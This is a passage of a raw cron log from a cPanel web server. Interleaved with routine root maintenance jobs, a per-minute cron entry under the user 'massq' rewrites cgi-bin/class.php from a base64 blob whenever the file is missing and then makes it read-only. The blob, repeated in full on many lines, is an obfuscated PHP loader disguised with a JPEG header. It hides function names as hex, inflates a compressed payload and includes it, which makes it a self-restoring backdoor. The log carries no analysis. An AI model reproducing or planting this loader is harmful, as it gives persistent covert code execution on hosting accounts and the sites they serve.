SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:21:01 server CROND[16936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:21:01 server CROND[16937]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:22:01 server CROND[17303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:22:01 server CROND[17304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:22:01 server CROND[17305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:23:01 server CROND[17673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:23:01 server CROND[17674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:23:01 server CROND[17675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:24:01 server CROND[18040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:24:01 server CROND[18041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:24:01 server CROND[18042]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:25:01 server CROND[18414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:25:01 server CROND[18415]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:25:01 server CROND[18416]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 18:25:01 server CROND[18420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:25:01 server CROND[18421]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 18:25:01 server CROND[18422]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 18:25:01 server CROND[18424]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:25:01 server CROND[18423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:26:01 server CROND[19343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:26:01 server CROND[19344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:26:01 server CROND[19345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:27:01 server CROND[19719]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:27:01 server CROND[19722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:27:01 server CROND[19720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:27:01 server CROND[19721]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 18:28:01 server CROND[20091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:28:01 server CROND[20092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:28:01 server CROND[20093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:29:01 server CROND[20455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:29:01 server CROND[20456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:29:01 server CROND[20457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:30:01 server CROND[20852]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 18:30:01 server CROND[20853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:30:01 server CROND[20856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 18:30:01 server CROND[20858]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 18:30:01 server CROND[20857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:30:01 server CROND[20855]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 18:30:01 server CROND[20860]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 18:30:01 server CROND[20862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:31:01 server CROND[21771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:31:01 server CROND[21772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:31:01 server CROND[21773]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:32:01 server CROND[22148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:32:01 server CROND[22149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 18:32:01 server CROND[22150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:33:01 server CROND[22517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 18:33:01 server CROND[22518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 18:33:01 server CROND[22519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
